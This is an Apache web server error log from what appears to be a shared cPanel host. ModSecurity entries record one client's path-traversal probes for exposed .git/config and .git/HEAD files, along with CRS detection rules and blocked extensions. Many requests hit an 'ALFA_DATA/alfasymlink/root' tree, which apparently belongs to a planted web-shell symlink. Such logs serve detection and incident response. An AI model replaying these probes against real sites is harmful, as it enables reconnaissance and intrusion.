[Sun Oct 25 22:57:35.927840 2026] [security2:error] [pid 2943111:tid 2943111] [client 45.138.12.25:25114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at7Bn8PyJ7czCvVZGZzUNAAAAE4"]
[Sun Oct 25 22:57:35.928096 2026] [security2:error] [pid 2943111:tid 2943111] [client 45.138.12.25:25114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at7Bn8PyJ7czCvVZGZzUNAAAAE4"]
[Sun Oct 25 22:57:35.978523 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpvAAAAAs"]
[Sun Oct 25 22:57:35.978579 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpvAAAAAs"]
[Sun Oct 25 22:57:35.978640 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpvAAAAAs"]
[Sun Oct 25 22:57:35.978854 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpvAAAAAs"]
[Sun Oct 25 22:57:35.979136 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpvAAAAAs"]
[Sun Oct 25 22:57:36.133325 2026] [security2:error] [pid 2938877:tid 2938877] [client 45.138.12.25:1843] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BoMnQI7fvFKswuquA-wAAABY"]
[Sun Oct 25 22:57:36.133410 2026] [security2:error] [pid 2938877:tid 2938877] [client 45.138.12.25:1843] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BoMnQI7fvFKswuquA-wAAABY"]
[Sun Oct 25 22:57:36.133498 2026] [security2:error] [pid 2938877:tid 2938877] [client 45.138.12.25:1843] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BoMnQI7fvFKswuquA-wAAABY"]
[Sun Oct 25 22:57:36.133777 2026] [security2:error] [pid 2938877:tid 2938877] [client 45.138.12.25:1843] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BoMnQI7fvFKswuquA-wAAABY"]
[Sun Oct 25 22:57:36.134109 2026] [security2:error] [pid 2938877:tid 2938877] [client 45.138.12.25:1843] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BoMnQI7fvFKswuquA-wAAABY"]
[Sun Oct 25 22:57:36.180580 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.25:24313] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7BoASn5HKIYfqg0eAkAwAAADc"]
[Sun Oct 25 22:57:36.180872 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.25:24313] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7BoASn5HKIYfqg0eAkAwAAADc"]
[Sun Oct 25 22:57:36.181209 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.25:24313] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7BoASn5HKIYfqg0eAkAwAAADc"]
[Sun Oct 25 22:57:36.194318 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at7BoO5qdVS0urJsjm1WrwAAAAk"]
[Sun Oct 25 22:57:36.194397 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at7BoO5qdVS0urJsjm1WrwAAAAk"]
[Sun Oct 25 22:57:36.194452 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at7BoO5qdVS0urJsjm1WrwAAAAk"]
[Sun Oct 25 22:57:36.194637 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at7BoO5qdVS0urJsjm1WrwAAAAk"]
[Sun Oct 25 22:57:36.194928 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at7BoO5qdVS0urJsjm1WrwAAAAk"]
[Sun Oct 25 22:57:38.656567 2026] [security2:error] [pid 2949647:tid 2949647] [client 45.138.12.25:8605] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/rsc"] [unique_id "at7BogMWkfNzj3DsToB5GQAAAA8"]
[Sun Oct 25 22:57:38.656615 2026] [security2:error] [pid 2949647:tid 2949647] [client 45.138.12.25:8605] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/rsc"] [unique_id "at7BogMWkfNzj3DsToB5GQAAAA8"]
[Sun Oct 25 22:57:42.491434 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 23.21.225.190:20623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:57:48.436912 2026] [core:crit] [pid 2949650:tid 2949650] (13)Permission denied: [client 45.135.193.198:50240] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 22:57:48.614514 2026] [authz_core:error] [pid 2949515:tid 2949515] [client 45.135.193.198:50242] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:57:49.810661 2026] [core:error] [pid 2948939:tid 2948939] (13)Permission denied: [client 85.208.96.208:56184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/dm_mod/sections/__kcrctab
[Sun Oct 25 22:57:50.185980 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 54.144.185.255:24394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:57:50.433059 2026] [core:crit] [pid 2943087:tid 2943087] (13)Permission denied: [client 45.135.193.198:50256] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 22:57:50.607316 2026] [authz_core:error] [pid 2949511:tid 2949511] [client 45.135.193.198:50270] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:57:55.971335 2026] [core:error] [pid 2942903:tid 2942903] (13)Permission denied: [client 85.208.96.200:51842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/align
[Sun Oct 25 22:57:58.195840 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 52.203.68.145:48885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:03.174360 2026] [authz_core:error] [pid 2949515:tid 2949515] [client 74.82.47.2:9528] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:58:05.726385 2026] [core:error] [pid 2949511:tid 2949511] (13)Permission denied: [client 185.191.171.8:48470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/ctor
[Sun Oct 25 22:58:10.209184 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 44.223.232.55:6245] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:14.418876 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 107.22.208.39:21454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:18.223641 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 34.231.45.47:12805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:22.203981 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 34.224.132.215:10730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:23.509145 2026] [security2:error] [pid 2949511:tid 2949511] [client 43.157.22.109:36988] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/25"] [unique_id "at7Bz-5qdVS0urJsjm1WsgAAAAk"]
[Sun Oct 25 22:58:26.309995 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 3.94.156.104:6462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:42.161110 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 52.3.156.186:28885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:46.148395 2026] [ssl:error] [pid 2946859:tid 2946859] (5)Input/output error: [client 100.28.118.16:8643] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:58:58.154589 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 44.223.116.149:28568] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:06.152089 2026] [ssl:error] [pid 2942903:tid 2942903] (22)Invalid argument: [client 54.243.63.52:5415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:12.291691 2026] [core:error] [pid 2946859:tid 2946859] (13)Permission denied: [client 185.191.171.12:38858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/total_objects
[Sun Oct 25 22:59:14.144136 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 34.196.237.236:40664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:22.165078 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.204.174.139:50720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:26.156950 2026] [ssl:error] [pid 2948939:tid 2948939] (22)Invalid argument: [client 44.205.180.155:52916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:34.236807 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 34.195.248.30:30065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:42.144054 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 18.213.240.226:22866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:59:58.244594 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 3.218.103.254:59519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:02.367332 2026] [core:error] [pid 2946859:tid 2946859] (13)Permission denied: [client 35.173.38.202:44990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/cirrus/0000:00:02.0/rom
[Sun Oct 25 23:00:06.145102 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 44.215.210.112:14284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:10.249157 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 54.197.178.107:37591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:17.411700 2026] [authz_core:error] [pid 2942903:tid 2942903] [client 192.155.90.118:57050] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 23:00:18.148333 2026] [core:error] [pid 2946859:tid 2946859] (13)Permission denied: [client 3.212.86.97:39914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:1c/subsystem/drivers_probe
[Sun Oct 25 23:00:26.190398 2026] [ssl:error] [pid 2949511:tid 2949511] (70014)End of file found: [client 54.147.238.89:46713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:30.163447 2026] [ssl:error] [pid 2948941:tid 2948941] (70014)End of file found: [client 98.84.70.201:31612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:34.587958 2026] [ssl:error] [pid 2948939:tid 2948939] (70014)End of file found: [client 34.202.88.37:32465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:46.217705 2026] [ssl:error] [pid 2949650:tid 2949650] (5)Input/output error: [client 35.169.102.85:50785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:50.139834 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.213.213.161:22611] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:00:58.179510 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 100.29.34.97:61206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:02.149176 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.225.181.161:22810] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:10.172147 2026] [ssl:error] [pid 2948949:tid 2948949] (70014)End of file found: [client 3.224.104.67:32212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:18.129865 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.232.82.72:8055] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:26.243077 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 52.2.83.227:23709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:38.267995 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 18.215.77.19:55038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:42.132936 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.167.32.123:15594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:01:54.226482 2026] [core:error] [pid 2948949:tid 2948949] (13)Permission denied: [client 34.205.170.13:31263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/new_id
[Sun Oct 25 23:02:06.139069 2026] [core:error] [pid 2949515:tid 2949515] (13)Permission denied: [client 3.211.105.134:1515] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/battery/unbind
[Sun Oct 25 23:02:10.166955 2026] [ssl:error] [pid 2949512:tid 2949512] (70014)End of file found: [client 100.28.118.16:48377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:02:22.145076 2026] [core:error] [pid 2949512:tid 2949512] (13)Permission denied: [client 23.21.179.27:21056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/virtio2/driver/unbind
[Sun Oct 25 23:02:30.389639 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 50.17.193.48:64237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:02:34.274411 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 3.210.223.61:49705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:02:41.141559 2026] [security2:error] [pid 2930612:tid 2930612] [client 85.208.96.202:51908] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-hinting-medium.conf"] [unique_id "at7C0ZHtMtN5e4U4U0bi_gAAAAI"]
[Sun Oct 25 23:02:41.142063 2026] [security2:error] [pid 2930612:tid 2930612] [client 85.208.96.202:51908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-hinting-medium.conf"] [unique_id "at7C0ZHtMtN5e4U4U0bi_gAAAAI"]
